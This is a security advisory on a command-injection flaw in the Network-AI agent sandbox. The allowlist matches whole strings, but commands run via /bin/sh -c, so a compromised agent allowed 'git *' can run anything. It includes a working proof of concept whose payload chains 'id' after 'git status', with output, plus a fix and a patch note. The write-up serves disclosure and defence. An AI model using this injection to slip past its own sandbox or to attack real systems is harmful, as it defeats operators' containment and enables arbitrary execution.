Network-AI: Improper Neutralization of Special Elements used in an OS Command

Summary

The agent sandbox gates shell commands behind an allowlist (SandboxPolicy.isCommandAllowed), which THREAT_MODEL.md calls the main control against a compromised agent (Adversary 3.2). The allowlist glob-matches the whole command string, but ShellExecutor runs that string through /bin/sh -c. So any wildcard allow such as git *, npm * or node * also matches git status; <anything>, and a scoped command becomes arbitrary execution.

Root cause

Matching and execution disagree on what a command is. Lines pinned to 40e42d7 (lib/agent-runtime.ts is identical to the v5.8.5 tag).

1. isCommandAllowed matches the full string, with no tokenizing and no metacharacter check:

https://github.com/Jovancoding/Network-AI/blob/40e42d7a0a966b948953b3c524cf15355d20ef5e/lib/agent-runtime.ts#L248-L260

2. globMatch compiles * to .* and anchors it, so git * becomes ^git .*$ and matches git status; id:

https://github.com/Jovancoding/Network-AI/blob/40e42d7a0a966b948953b3c524cf15355d20ef5e/lib/agent-runtime.ts#L353-L360

3. ShellExecutor.execute only checks isCommandAllowed, never requiresApproval:

https://github.com/Jovancoding/Network-AI/blob/40e42d7a0a966b948953b3c524cf15355d20ef5e/lib/agent-runtime.ts#L387-L391

4. spawnCommand runs the approved string via /bin/sh -c, so ;, | and $(...) are interpreted by the shell:

https://github.com/Jovancoding/Network-AI/blob/40e42d7a0a966b948953b3c524cf15355d20ef5e/lib/agent-runtime.ts#L427-L431

Reachability

Any agent or caller allowed to run commands hits this when the operator allowlist has a wildcard entry. A plain git * is enough. No fresh-install precondition and no extra misconfiguration.

PoC

Installs network-ai@5.8.5, allows git *, then runs git status; id > marker. The allowlist accepts it and the injected id runs.

Run: npm i network-ai@5.8.5 && node poc-316.js

'use strict';
const os = require('os');
const fs = require('fs');
const path = require('path');
const { SandboxPolicy, ShellExecutor } = require('network-ai');

(async () => {
  const base = fs.mkdtempSync(path.join(os.tmpdir(), 'nai-poc-316-'));
  const marker = path.join(base, 'PWNED-316.txt');
  const policy = new SandboxPolicy({ basePath: base, allowedCommands: ['git *'] });
  const sh = new ShellExecutor(policy);

  const payload = `git status; id > ${marker}; echo INJECTED`;
  console.log('version:', require('network-ai/package.json').version);
  console.log('allowed:', policy.isCommandAllowed(payload));

  await sh.execute(payload);
  const ran = fs.existsSync(marker);
  console.log('injected id ran:', ran, ran ? fs.readFileSync(marker, 'utf8').trim() : '');
  console.log(ran ? 'VULNERABLE' : 'not reproduced');
  process.exit(ran ? 0 : 1);
})().catch(err => { console.error(err); process.exit(3); });

Output:

version: 5.8.5
allowed: true
injected id ran: true uid=501(alex) gid=20(staff) groups=20(staff),...
VULNERABLE

Impact

Arbitrary command execution as the orchestrator process. It defeats the one control meant to contain a compromised agent, so any agent with a single wildcard allow (git *, npm *, node *) can run anything. node * and npm * are direct code exec even without metacharacters.

Possible fix

Do not run agent commands through a shell. Parse to argv and spawn(file, args, { shell: false }), allowlist on the executable plus argument patterns, and reject shell metacharacters. Anchoring the regex alone is not enough; the whole-string match plus /bin/sh -c is the bug.

Patch

Fixed in v5.9.1 (commit 379f776). ShellExecutor now executes via spawn(file, args, { shell: false }) using a quote-aware parsed argv, so no shell is invoked. SandboxPolicy.isCommandAllowed and the new SandboxPolicy.tokenizeCommand reject any unquoted shell metacharacter (; & | $ ( ) < > { }` newline) or unterminated quote before the allowlist glob match; quoted metacharacters are preserved as literal argument data.

Remediation: upgrade to network-ai@5.9.1 or later. As defense in depth, avoid broad wildcard allowlist entries such as node * / npm * which are direct code execution by design.